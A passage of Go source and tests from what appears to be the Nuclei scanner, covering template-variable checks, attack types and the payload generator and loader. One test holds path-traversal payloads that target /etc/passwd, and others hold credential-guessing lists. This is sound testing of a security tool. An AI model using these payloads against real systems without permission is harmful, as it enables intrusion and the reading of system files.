{\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// or if it contains only literals (can be solved from expression engine)\n\t\t\tif hasLiteralsOnly(match[1]) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tunresolvedVariables = append(unresolvedVariables, match[1])\n\t\t}\n\t\tif len(unresolvedVariables) > 0 {\n\t\t\treturn errors.New(\"unresolved variables found: \" + strings.Join(unresolvedVariables, \",\"))\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// ContainsVariablesWithNames returns an error with variable names if the passed\n// input contains unresolved {{<pattern-here>}} variables within the provided list\nfunc ContainsVariablesWithNames(names map[string]interface{}, items ...string) error {\n\tfor _, data := range items {\n\t\tmatches := unresolvedVariablesRegex.FindAllStringSubmatch(data, -1)\n\t\tif len(matches) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\tvar unresolvedVariables []string\n\t\tfor _, match := range matches {\n\t\t\tif len(match) < 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatchName := match[1]\n\t\t\t// Skip if the match is an expression\n\t\t\tif numericalExpressionRegex.MatchString(matchName) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// or if it contains only literals (can be solved from expression engine)\n\t\t\tif hasLiteralsOnly(match[1]) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif _, ok := names[matchName]; !ok {\n\t\t\t\tunresolvedVariables = append(unresolvedVariables, matchName)\n\t\t\t}\n\t\t}\n\t\tif len(unresolvedVariables) > 0 {\n\t\t\treturn errors.New(\"unresolved variables with values found: \" + strings.Join(unresolvedVariables, \",\"))\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// ContainsVariablesWithIgnoreList returns an error with variable names if the passed\n// input contains unresolved {{<pattern-here>}} other than the ones listed in the ignore list\nfunc ContainsVariablesWithIgnoreList(skipNames map[string]interface{}, items ...string) error {\n\tvar unresolvedVariables []string\n\tfor _, data := range items {\n\t\tmatches := unresolvedVariablesRegex.FindAllStringSubmatch(data, -1)\n\t\tif len(matches) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\tfor _, match := range matches {\n\t\t\tif len(match) < 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatchName := match[1]\n\t\t\t// Skip if the match is an expression\n\t\t\tif numericalExpressionRegex.MatchString(matchName) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// or if it contains only literals (can be solved from expression engine)\n\t\t\tif hasLiteralsOnly(match[1]) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif _, ok := skipNames[matchName]; ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tunresolvedVariables = append(unresolvedVariables, matchName)\n\t\t}\n\t}\n\n\tif len(unresolvedVariables) > 0 {\n\t\treturn errors.New(\"unresolved variables with values found: \" + strings.Join(unresolvedVariables, \",\"))\n\t}\n\n\treturn nil\n}\n\nfunc hasLiteralsOnly(data string) bool {\n\texpr, err := govaluate.NewEvaluableExpressionWithFunctions(data, dsl.HelperFunctions)\n\tif err != nil {\n\t\treturn false\n\t}\n\tif expr != nil {\n\t\t_, err = expr.Evaluate(nil)\n\t\treturn err == nil\n\t}\n\treturn true\n}\n"
  },
  {
    "path": "pkg/protocols/common/expressions/variables_test.go",
    "content": "package expressions\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestUnresolvedVariablesCheck(t *testing.T) {\n\ttests := []struct {\n\t\tdata string\n\t\terr  error\n\t}{\n\t\t{\"{{test}}\", errors.New(\"unresolved variables found: test\")},\n\t\t{\"{{test}}/{{another}}\", errors.New(\"unresolved variables found: test,another\")},\n\t\t{\"test\", nil},\n\t\t{\"%7b%7btest%7d%7d\", errors.New(\"unresolved variables found: test\")},\n\t\t{\"%7B%7Bfirst%2Asecond%7D%7D\", errors.New(\"unresolved variables found: first%2Asecond\")},\n\t\t{\"{{7*7}}\", nil},\n\t\t{\"{{'a'+'b'}}\", nil},\n\t\t{\"{{'a'}}\", nil},\n\t}\n\tfor _, test := range tests {\n\t\terr := ContainsUnresolvedVariables(test.data)\n\t\trequire.Equal(t, test.err, err, \"could not get unresolved variables\")\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/attack_types.go",
    "content": "package generators\n\nimport (\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// AttackType is the type of attack for payloads\ntype AttackType int\n\n// Supported values for the AttackType\n// name:AttackType\nconst (\n\t// name:batteringram\n\tBatteringRamAttack AttackType = iota + 1\n\t// name:pitchfork\n\tPitchForkAttack\n\t// name:clusterbomb\n\tClusterBombAttack\n\tlimit\n)\n\n// attackTypeMappings is a table for conversion of attack type from string.\nvar attackTypeMappings = map[AttackType]string{\n\tBatteringRamAttack: \"batteringram\",\n\tPitchForkAttack:    \"pitchfork\",\n\tClusterBombAttack:  \"clusterbomb\",\n}\n\nfunc GetSupportedAttackTypes() []AttackType {\n\tvar result []AttackType\n\tfor index := AttackType(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toAttackType(valueToMap string) (AttackType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range attackTypeMappings {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"invalid attack type: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToLower(value))\n}\n\nfunc (t AttackType) String() string {\n\treturn attackTypeMappings[t]\n}\n\n// AttackTypeHolder is used to hold internal type of the protocol\ntype AttackTypeHolder struct {\n\tValue AttackType `mapping:\"true\"`\n}\n\nfunc (holder AttackTypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"type of the attack\",\n\t\tDescription: \"Type of the attack\",\n\t}\n\tfor _, types := range GetSupportedAttackTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *AttackTypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toAttackType(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.Value = computedType\n\treturn nil\n}\n\nfunc (holder *AttackTypeHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedType, err := toAttackType(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.Value = computedType\n\treturn nil\n}\n\nfunc (holder *AttackTypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.Value.String())\n}\n\nfunc (holder AttackTypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.Value.String(), nil\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/attack_types_test.go",
    "content": "package generators\n\nimport \"testing\"\n\nfunc TestAttackTypeHelpers(t *testing.T) {\n\t// GetSupportedAttackTypes should include three values\n\ttypes := GetSupportedAttackTypes()\n\tif len(types) != 3 {\n\t\tt.Fatalf(\"expected 3 types, got %d\", len(types))\n\t}\n\t// toAttackType valid\n\tif got, err := toAttackType(\"pitchfork\"); err != nil || got != PitchForkAttack {\n\t\tt.Fatalf(\"toAttackType failed: %v %v\", got, err)\n\t}\n\t// toAttackType invalid\n\tif _, err := toAttackType(\"nope\"); err == nil {\n\t\tt.Fatalf(\"expected error for invalid attack type\")\n\t}\n\t// normalizeValue and String\n\tif normalizeValue(\"  ClusterBomb  \") != \"clusterbomb\" {\n\t\tt.Fatalf(\"normalizeValue failed\")\n\t}\n\tif ClusterBombAttack.String() != \"clusterbomb\" {\n\t\tt.Fatalf(\"String failed\")\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/env.go",
    "content": "package generators\n\nimport (\n\t\"os\"\n\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar envVars map[string]interface{}\n\nfunc parseEnvVars() map[string]interface{} {\n\tsliceEnvVars := os.Environ()\n\tparsedEnvVars := make(map[string]interface{}, len(sliceEnvVars))\n\tfor _, envVar := range sliceEnvVars {\n\t\tkey, _ := stringsutil.Before(envVar, \"=\")\n\t\tval, _ := stringsutil.After(envVar, \"=\")\n\t\tparsedEnvVars[key] = val\n\t}\n\treturn parsedEnvVars\n}\n\n// EnvVars returns a map with all environment variables into a map\nfunc EnvVars() map[string]interface{} {\n\tif envVars == nil {\n\t\tenvVars = parseEnvVars()\n\t}\n\n\treturn envVars\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/env_test.go",
    "content": "package generators\n\nimport (\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestParseEnvVars(t *testing.T) {\n\told := os.Environ()\n\t// set a scoped env var\n\t_ = os.Setenv(\"NUCLEI_TEST_K\", \"V1\")\n\tt.Cleanup(func() {\n\t\t// restore\n\t\tfor _, kv := range old {\n\t\t\tparts := kv\n\t\t\t_ = parts // nothing, environment already has superset; best-effort cleanup below\n\t\t}\n\t\t_ = os.Unsetenv(\"NUCLEI_TEST_K\")\n\t})\n\tvars := parseEnvVars()\n\tif vars[\"NUCLEI_TEST_K\"] != \"V1\" {\n\t\tt.Fatalf(\"expected V1, got %v\", vars[\"NUCLEI_TEST_K\"])\n\t}\n}\n\nfunc TestEnvVarsMemoization(t *testing.T) {\n\t// reset memoized map\n\tenvVars = nil\n\t_ = os.Setenv(\"NUCLEI_TEST_MEMO\", \"A\")\n\tt.Cleanup(func() { _ = os.Unsetenv(\"NUCLEI_TEST_MEMO\") })\n\tv1 := EnvVars()[\"NUCLEI_TEST_MEMO\"]\n\t// change env after memoization\n\t_ = os.Setenv(\"NUCLEI_TEST_MEMO\", \"B\")\n\tv2 := EnvVars()[\"NUCLEI_TEST_MEMO\"]\n\tif v1 != \"A\" || v2 != \"A\" {\n\t\tt.Fatalf(\"memoization failed: %v %v\", v1, v2)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/generators.go",
    "content": "// Inspired from https://github.com/ffuf/ffuf/blob/master/pkg/input/input.go\n\npackage generators\n\nimport (\n\t\"maps\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// PayloadGenerator is the generator struct for generating payloads\ntype PayloadGenerator struct {\n\tType     AttackType\n\tcatalog  catalog.Catalog\n\tpayloads map[string][]string\n\toptions  *types.Options\n}\n\n// New creates a new generator structure for payload generation\nfunc New(payloads map[string]interface{}, attackType AttackType, templatePath string, catalog catalog.Catalog, customAttackType string, opts *types.Options) (*PayloadGenerator, error) {\n\tif attackType.String() == \"\" {\n\t\tattackType = BatteringRamAttack\n\t}\n\n\t// Resolve payload paths if they are files.\n\tpayloadsFinal := make(map[string]interface{})\n\tfor payloadName, v := range payloads {\n\t\tswitch value := v.(type) {\n\t\tcase map[interface{}]interface{}:\n\t\t\tvalues, err := parsePayloadsWithAggression(payloadName, value, opts.FuzzAggressionLevel)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"could not parse payloads with aggression\")\n\t\t\t}\n\t\t\tmaps.Copy(payloadsFinal, values)\n\t\tdefault:\n\t\t\tpayloadsFinal[payloadName] = v\n\t\t}\n\t}\n\n\tgenerator := &PayloadGenerator{catalog: catalog, options: opts}\n\tif err := generator.validate(payloadsFinal, templatePath); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcompiled, err := generator.loadPayloads(payloadsFinal, templatePath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgenerator.Type = attackType\n\tgenerator.payloads = compiled\n\n\tif customAttackType != \"\" {\n\t\tattackTypeNew, err := toAttackType(customAttackType)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not parse custom attack-type\")\n\t\t}\n\t\tgenerator.Type = attackTypeNew\n\t}\n\t// Validate the batteringram payload set\n\tif attackType == BatteringRamAttack {\n\t\tif len(payloads) != 1 {\n\t\t\treturn nil, errors.New(\"batteringram must have single payload set\")\n\t\t}\n\t}\n\treturn generator, nil\n}\n\ntype aggressionLevelToPayloads struct {\n\tLow    []interface{}\n\tMedium []interface{}\n\tHigh   []interface{}\n}\n\n// parsePayloadsWithAggression parses the payloads with the aggression level\n//\n// Three aggression are supported -\n//   - low\n//   - medium\n//   - high\n//\n// low is the default level. If medium is specified, all templates from\n// low and medium are executed. Similarly with high, including all templates\n// from low, medium, high.\nfunc parsePayloadsWithAggression(name string, v map[interface{}]interface{}, aggression string) (map[string]interface{}, error) {\n\tpayloadsLevels := &aggressionLevelToPayloads{}\n\n\tfor k, v := range v {\n\t\tif _, ok := v.([]interface{}); !ok {\n\t\t\treturn nil, errors.Errorf(\"only lists are supported for aggression levels payloads\")\n\t\t}\n\t\tvar ok bool\n\t\tswitch k {\n\t\tcase \"low\":\n\t\t\tpayloadsLevels.Low, ok = v.([]interface{})\n\t\tcase \"medium\":\n\t\t\tpayloadsLevels.Medium, ok = v.([]interface{})\n\t\tcase \"high\":\n\t\t\tpayloadsLevels.High, ok = v.([]interface{})\n\t\tdefault:\n\t\t\treturn nil, errors.Errorf(\"invalid aggression level %s specified for %s\", k, name)\n\t\t}\n\t\tif !ok {\n\t\t\treturn nil, errors.Errorf(\"invalid aggression level %s specified for %s\", k, name)\n\t\t}\n\t}\n\n\tpayloads := make(map[string]interface{})\n\tswitch aggression {\n\tcase \"low\":\n\t\tpayloads[name] = payloadsLevels.Low\n\tcase \"medium\":\n\t\tpayloads[name] = append(payloadsLevels.Low, payloadsLevels.Medium...)\n\tcase \"high\":\n\t\tpayloads[name] = append(payloadsLevels.Low, payloadsLevels.Medium...)\n\t\tpayloads[name] = append(payloads[name].([]interface{}), payloadsLevels.High...)\n\tdefault:\n\t\treturn nil, errors.Errorf(\"invalid aggression level %s specified for %s\", aggression, name)\n\t}\n\treturn payloads, nil\n}\n\n// Iterator is a single instance of an iterator for a generator structure\ntype Iterator struct {\n\tType        AttackType\n\tposition    int\n\tmsbIterator int\n\ttotal       int\n\tpayloads    []*payloadIterator\n}\n\n// NewIterator creates a new iterator for the payloads generator\nfunc (g *PayloadGenerator) NewIterator() *Iterator {\n\tvar payloads []*payloadIterator\n\n\tfor name, values := range g.payloads {\n\t\tpayloads = append(payloads, &payloadIterator{name: name, values: values})\n\t}\n\titerator := &Iterator{\n\t\tType:     g.Type,\n\t\tpayloads: payloads,\n\t}\n\titerator.total = iterator.Total()\n\treturn iterator\n}\n\n// Reset resets the iterator back to its initial value\nfunc (i *Iterator) Reset() {\n\ti.position = 0\n\ti.msbIterator = 0\n\n\tfor _, payload := range i.payloads {\n\t\tpayload.resetPosition()\n\t}\n}\n\n// Remaining returns the amount of requests left for the generator.\nfunc (i *Iterator) Remaining() int {\n\treturn i.total - i.position\n}\n\n// Total returns the amount of input combinations available\nfunc (i *Iterator) Total() int {\n\tcount := 0\n\tswitch i.Type {\n\tcase BatteringRamAttack:\n\t\tfor _, p := range i.payloads {\n\t\t\tcount += len(p.values)\n\t\t}\n\tcase PitchForkAttack:\n\t\tcount = len(i.payloads[0].values)\n\t\tfor _, p := range i.payloads {\n\t\t\tif count > len(p.values) {\n\t\t\t\tcount = len(p.values)\n\t\t\t}\n\t\t}\n\tcase ClusterBombAttack:\n\t\tcount = 1\n\t\tfor _, p := range i.payloads {\n\t\t\tcount *= len(p.values)\n\t\t}\n\t}\n\treturn count\n}\n\n// Value returns the next value for an iterator\nfunc (i *Iterator) Value() (map[string]interface{}, bool) {\n\tswitch i.Type {\n\tcase BatteringRamAttack:\n\t\treturn i.batteringRamValue()\n\tcase PitchForkAttack:\n\t\treturn i.pitchforkValue()\n\tcase ClusterBombAttack:\n\t\treturn i.clusterbombValue()\n\tdefault:\n\t\treturn i.batteringRamValue()\n\t}\n}\n\n// batteringRamValue returns a list of all payloads for the iterator\nfunc (i *Iterator) batteringRamValue() (map[string]interface{}, bool) {\n\tvalues := make(map[string]interface{}, 1)\n\n\tcurrentIndex := i.msbIterator\n\tpayload := i.payloads[currentIndex]\n\tif !payload.next() {\n\t\ti.msbIterator++\n\t\tif i.msbIterator == len(i.payloads) {\n\t\t\treturn nil, false\n\t\t}\n\t\treturn i.batteringRamValue()\n\t}\n\tvalues[payload.name] = payload.value()\n\tpayload.incrementPosition()\n\ti.position++\n\treturn values, true\n}\n\n// pitchforkValue returns a map of keyword:value pairs in same index\nfunc (i *Iterator) pitchforkValue() (map[string]interface{}, bool) {\n\tvalues := make(map[string]interface{}, len(i.payloads))\n\n\tfor _, p := range i.payloads {\n\t\tif !p.next() {\n\t\t\treturn nil, false\n\t\t}\n\t\tvalues[p.name] = p.value()\n\t\tp.incrementPosition()\n\t}\n\ti.position++\n\treturn values, true\n}\n\n// clusterbombValue returns a combination of all input pairs in key:value format.\nfunc (i *Iterator) clusterbombValue() (map[string]interface{}, bool) {\n\tif i.position >= i.total {\n\t\treturn nil, false\n\t}\n\tvalues := make(map[string]interface{}, len(i.payloads))\n\n\t// Should we signal the next InputProvider in the slice to increment\n\tsignalNext := false\n\tfirst := true\n\tfor index, p := range i.payloads {\n\t\tif signalNext {\n\t\t\tp.incrementPosition()\n\t\t\tsignalNext = false\n\t\t}\n\t\tif !p.next() {\n\t\t\t// No more inputs in this input provider\n\t\t\tif index == i.msbIterator {\n\t\t\t\t// Reset all previous wordlists and increment the msb counter\n\t\t\t\ti.msbIterator++\n\t\t\t\ti.clusterbombIteratorReset()\n\t\t\t\t// Start again\n\t\t\t\treturn i.clusterbombValue()\n\t\t\t}\n\t\t\tp.resetPosition()\n\t\t\tsignalNext = true\n\t\t}\n\t\tvalues[p.name] = p.value()\n\t\tif first {\n\t\t\tp.incrementPosition()\n\t\t\tfirst = false\n\t\t}\n\t}\n\ti.position++\n\treturn values, true\n}\n\nfunc (i *Iterator) clusterbombIteratorReset() {\n\tfor index, p := range i.payloads {\n\t\tif index < i.msbIterator {\n\t\t\tp.resetPosition()\n\t\t}\n\t\tif index == i.msbIterator {\n\t\t\tp.incrementPosition()\n\t\t}\n\t}\n}\n\n// payloadIterator is a single instance of an iterator for a single payload list.\ntype payloadIterator struct {\n\tindex  int\n\tname   string\n\tvalues []string\n}\n\n// next returns true if there are more values in payload iterator\nfunc (i *payloadIterator) next() bool {\n\treturn i.index < len(i.values)\n}\n\n// resetPosition resets the position of the payload iterator\nfunc (i *payloadIterator) resetPosition() {\n\ti.index = 0\n}\n\n// incrementPosition increments the position of the payload iterator\nfunc (i *payloadIterator) incrementPosition() {\n\ti.index++\n}\n\n// value returns the value of the payload at an index\nfunc (i *payloadIterator) value() string {\n\treturn i.values[i.index]\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/generators_test.go",
    "content": "package generators\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"gopkg.in/yaml.v2\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\nfunc TestBatteringRamGenerator(t *testing.T) {\n\tusernames := []string{\"admin\", \"password\"}\n\n\tcatalogInstance := disk.NewCatalog(\"\")\n\tgenerator, err := New(map[string]interface{}{\"username\": usernames}, BatteringRamAttack, \"\", catalogInstance, \"\", getOptions(false))\n\trequire.Nil(t, err, \"could not create generator\")\n\n\titerator := generator.NewIterator()\n\tcount := 0\n\tfor {\n\t\t_, ok := iterator.Value()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tcount++\n\t}\n\trequire.Equal(t, len(usernames), count, \"could not get correct batteringram counts\")\n}\n\nfunc TestPitchforkGenerator(t *testing.T) {\n\tusernames := []string{\"admin\", \"token\"}\n\tpasswords := []string{\"password1\", \"password2\", \"password3\"}\n\n\tcatalogInstance := disk.NewCatalog(\"\")\n\tgenerator, err := New(map[string]interface{}{\"username\": usernames, \"password\": passwords}, PitchForkAttack, \"\", catalogInstance, \"\", getOptions(false))\n\trequire.Nil(t, err, \"could not create generator\")\n\n\titerator := generator.NewIterator()\n\tcount := 0\n\tfor {\n\t\tvalue, ok := iterator.Value()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tcount++\n\t\trequire.Contains(t, usernames, value[\"username\"], \"Could not get correct pitchfork username\")\n\t\trequire.Contains(t, passwords, value[\"password\"], \"Could not get correct pitchfork password\")\n\t}\n\trequire.Equal(t, len(usernames), count, \"could not get correct pitchfork counts\")\n}\n\nfunc TestClusterbombGenerator(t *testing.T) {\n\tusernames := []string{\"admin\"}\n\tpasswords := []string{\"admin\", \"password\", \"token\"}\n\n\tcatalogInstance := disk.NewCatalog(\"\")\n\tgenerator, err := New(map[string]interface{}{\"username\": usernames, \"password\": passwords}, ClusterBombAttack, \"\", catalogInstance, \"\", getOptions(false))\n\trequire.Nil(t, err, \"could not create generator\")\n\n\titerator := generator.NewIterator()\n\tcount := 0\n\tfor {\n\t\tvalue, ok := iterator.Value()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tcount++\n\t\trequire.Contains(t, usernames, value[\"username\"], \"Could not get correct clusterbomb username\")\n\t\trequire.Contains(t, passwords, value[\"password\"], \"Could not get correct clusterbomb password\")\n\t}\n\trequire.Equal(t, 3, count, \"could not get correct clusterbomb counts\")\n\n\titerator.Reset()\n\tcount = 0\n\tfor {\n\t\tvalue, ok := iterator.Value()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\t\tcount++\n\t\trequire.Contains(t, usernames, value[\"username\"], \"Could not get correct clusterbomb username\")\n\t\trequire.Contains(t, passwords, value[\"password\"], \"Could not get correct clusterbomb password\")\n\t}\n\trequire.Equal(t, 3, count, \"could not get correct clusterbomb counts\")\n}\n\nfunc getOptions(allowLocalFileAccess bool) *types.Options {\n\topts := types.DefaultOptions()\n\topts.AllowLocalFileAccess = allowLocalFileAccess\n\treturn opts\n}\n\nfunc TestParsePayloadsWithAggression(t *testing.T) {\n\ttestPayload := `linux_path:\n  low:\n    - /etc/passwd\n  medium:\n    - ../etc/passwd\n    - ../../etc/passwd\n  high:\n    - ../../../etc/passwd\n    - ../../../../etc/passwd\n    - ../../../../../etc/passwd`\n\n\tvar payloads map[string]interface{}\n\terr := yaml.NewDecoder(strings.NewReader(testPayload)).Decode(&payloads)\n\trequire.Nil(t, err, \"could not unmarshal yaml\")\n\n\taggressionsToValues := map[string][]string{\n\t\t\"low\": {\n\t\t\t\"/etc/passwd\",\n\t\t},\n\t\t\"medium\": {\n\t\t\t\"/etc/passwd\",\n\t\t\t\"../etc/passwd\",\n\t\t\t\"../../etc/passwd\",\n\t\t},\n\t\t\"high\": {\n\t\t\t\"/etc/passwd\",\n\t\t\t\"../etc/passwd\",\n\t\t\t\"../../etc/passwd\",\n\t\t\t\"../../../etc/passwd\",\n\t\t\t\"../../../../etc/passwd\",\n\t\t\t\"../../../../../etc/passwd\",\n\t\t},\n\t}\n\n\tfor k, v := range payloads {\n\t\tfor aggression, values := range aggressionsToValues {\n\t\t\tparsed, err := parsePayloadsWithAggression(k, v.(map[interface{}]interface{}), aggression)\n\t\t\trequire.Nil(t, err, \"could not parse payloads with aggression\")\n\n\t\t\tgotValues := parsed[k].([]interface{})\n\t\t\trequire.Equal(t, len(values), len(gotValues), \"could not get correct number of values\")\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/load.go",
    "content": "package generators\n\nimport (\n\t\"bufio\"\n\t\"io\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\tpkgTypes \"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/spf13/cast\"\n)\n\n// loadPayloads loads the input payloads from a map to a data map\nfunc (generator *PayloadGenerator) loadPayloads(payloads map[string]interface{}, templatePath string) (map[string][]string, error) {\n\tloadedPayloads := make(map[string][]string)\n\n\tfor name, payload := range payloads {\n\t\tswitch pt := payload.(type) {\n\t\tcase string:\n\t\t\t// Fast path: if no newline, treat as file path\n\t\t\tif !strings.ContainsRune(pt, '\\n') {\n\t\t\t\tfile, err := generator.options.LoadHelperFile(pt, templatePath, generator.catalog)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrap(err, \"could not load payload file\")\n\t\t\t\t}\n\t\t\t\tpayloads, err := generator.loadPayloadsFromFile(file)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrap(err, \"could not load payloads\")\n\t\t\t\t}\n\t\t\t\tloadedPayloads[name] = payloads\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t// Multiline inline payloads\n\t\t\telements := strings.Split(pt, \"\\n\")\n\t\t\t//golint:gomnd // this is not a magic number\n\t\t\tif len(elements) >= 2 {\n\t\t\t\tloadedPayloads[name] = elements\n\t\t\t} else {\n\t\t\t\tfile, err := generator.options.LoadHelperFile(pt, templatePath, generator.catalog)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrap(err, \"could not load payload file\")\n\t\t\t\t}\n\t\t\t\tpayloads, err := generator.loadPayloadsFromFile(file)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrap(err, \"could not load payloads\")\n\t\t\t\t}\n\t\t\t\tloadedPayloads[name] = payloads\n\t\t\t}\n\t\tcase interface{}:\n\t\t\tloadedPayloads[name] = cast.ToStringSlice(pt)\n\t\t}\n\t}\n\treturn loadedPayloads, nil\n}\n\n// loadPayloadsFromFile loads a file to a string slice\nfunc (generator *PayloadGenerator) loadPayloadsFromFile(file io.ReadCloser) ([]string, error) {\n\tvar lines []string\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\ttext := scanner.Text()\n\t\tif text == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tlines = append(lines, text)\n\t}\n\tif err := scanner.Err(); err != nil && !errors.Is(err, pkgTypes.ErrNoMoreRequests) {\n\t\treturn lines, scanner.Err()\n\t}\n\treturn lines, nil\n}\n"
  },
  {
    "path": "pkg/protocols/common/generators/load_test.go",
    "content": "package generators\n\nimport (\n\t\"io\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\ntype fakeCatalog struct{ catalog.Catalog }\n\nfunc (f *fakeCatalog) OpenFile(filename string) (io.ReadCloser, error) {\n\treturn nil, errors.New(\"not used\")\n}\nfunc (f *fakeCatalog) GetTemplatePath(target string) ([]string, error) { return nil, nil }\nfunc (f *fakeCatalog) GetTemplatesPath(definitions []string) ([]string, map[string]error) {\n\treturn nil, nil\n}\nfunc (f *fakeCatalog) ResolvePath(templateName, second string) (string, error) {\n\treturn templateName, nil\n}\n\nfunc newTestGenerator() *PayloadGenerator {\n\topts := types.DefaultOptions()\n\t// inject helper loader function\n\topts.LoadHelperFileFunction = func(path, templatePath string, _ catalog.Catalog) (io.ReadCloser, error) {\n\t\tswitch path {\n\t\tcase \"fileA.txt\":\n\t\t\treturn io.NopCloser(strings.NewReader(\"one\\n two\\n\\nthree\\n\")), nil\n\t\tdefault:\n\t\t\treturn io.NopCloser(strings.NewReader(\"x\\ny\\nz\\n\")), nil\n\t\t}\n\t}\n\treturn &PayloadGenerator{options: opts, catalog: &fakeCatalog{}}\n}\n\nfunc TestLoadPayloads_FastPathFile(t *testing.T) {\n\tg := newTestGenerator()\n\tout, err := g.loadPayloads(map[string]interface{}{\"A\": \"fileA.txt\"}, \"\")\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\tgot := out[\"A\"]\n\tif len(got) != 3 || got[0] != \"one\" || got[1] != \" two\" || got[2] != \"three\" {\n\t\tt.Fatalf(\"unexpected: %#v\", got)\n\t}\n}\n\nfunc TestLoadPayloads_InlineMultiline(t *testing.T) {\n\tg := newTestGenerator()\n\tinline := \"a\\nb\\n\"\n\tout, err := g.loadPayloads(map[string]interface{}{\"B\": inline}, \"\")\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\tgot := out[\"B\"]\n\tif len(got) != 3 || got[0] != \"a\" || got[1] != \"b\" || got[2] != \"\" {\n\t\tt.Fatalf(\"unexpected: %#v\", got)\n\t}\n}\n\nfunc TestLoadPayloads_SingleLineFallsBackToFile(t *testing.T) {\n\tg := newTestGenerator()\n\tinline := \"fileA.txt\" // single line, should be treated as file path\n\tout, err := g.loadPayloads(map[string]interface{}{\"C\": inline}, \"\")\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\tgot := out[\"C\"]\n\tif len(got) != 3 {\n\t\tt.Fatalf(\"unexpected len: %d\", len(got))\n\t}\n}\n\nfunc TestLoadPayloads_InterfaceSlice(t *testing.T) {\n\tg := newTestGenerator()\n\tout, err := g.loadPayloads(map[string]interface{}{\"D\": []interface{}{\"p\", \"q\"}}, \"\")\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\tgot := out[\"D\"]\n\tif len(got) != 2 || got[0] != \"p\" || got[1] != \"q\" {\n\t\tt.Fatalf(\"unexpected: %#v\", got)\n\t}\n}\n\nfunc TestLoadPayloadsFromFile_SkipsEmpty(t *testing.T) {\n\tg := newTestGenerator()\n\trc 